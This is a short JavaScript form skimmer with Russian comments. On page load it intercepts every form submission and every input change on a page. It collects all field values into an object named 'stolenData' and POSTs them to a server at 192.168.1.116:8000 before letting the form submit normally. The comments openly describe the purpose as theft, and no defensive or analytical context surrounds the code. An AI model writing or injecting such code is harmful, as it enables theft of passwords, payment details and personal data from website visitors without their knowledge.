document.addEventListener('DOMContentLoaded', function() { // Перехватываем все формы на странице const forms = document.getElementsByTagName('form'); for (let form of forms) { form.addEventListener('submit', function(e) { e.preventDefault(); // Блокируем стандартную отправку const data = new FormData(form); let stolenData = {}; for (let [key, value] of data.entries()) { stolenData[key] = value; } // Отправляем данные на ваш сервер fetch('http://192.168.1.116:8000/log', { method: 'POST', body: JSON.stringify(stolenData), headers: { 'Content-Type': 'application/json' } }).then(() => form.submit()); // Отправляем форму после кражи }); } // Перехватываем ввод в реальном времени (если формы нет) const inputs = document.getElementsByTagName('input'); for (let input of inputs) { input.addEventListener('change', function() { fetch('http://192.168.1.116:8000/log', { method: 'POST', body: JSON.stringify({ [input.name]: input.value }) }); }); } });